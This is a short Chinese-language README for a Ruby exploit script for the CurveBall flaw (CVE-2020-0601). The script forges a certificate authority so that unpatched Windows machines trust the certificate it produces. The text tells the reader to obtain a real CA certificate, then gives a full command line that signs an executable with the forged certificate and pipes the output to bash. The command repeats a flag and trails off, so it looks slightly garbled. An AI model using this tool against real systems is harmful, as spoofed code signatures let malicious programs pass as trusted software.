CVE-2020-0601

CVE-2020-0601 : CurveBall CVE 利用 该 Ruby 脚本可用于伪造合法证书颁发机构，并生成一个在受 CurveBall 漏洞影响的 Windows 计算机上被视为有效的证书。 你需要获取一个来自你想伪造的证书颁发机构的证书。 然后，你可以使用以下命令运行该脚本： ruby gen-rogue-cert.rb -in=ca.crt -subj="/C=France/ST=IleDeFrance/L=Paris/O=YoannDqr" -out=certrb.p12 -exe=DoNotDebugMe.exe -sh -type=exe -sh | bash...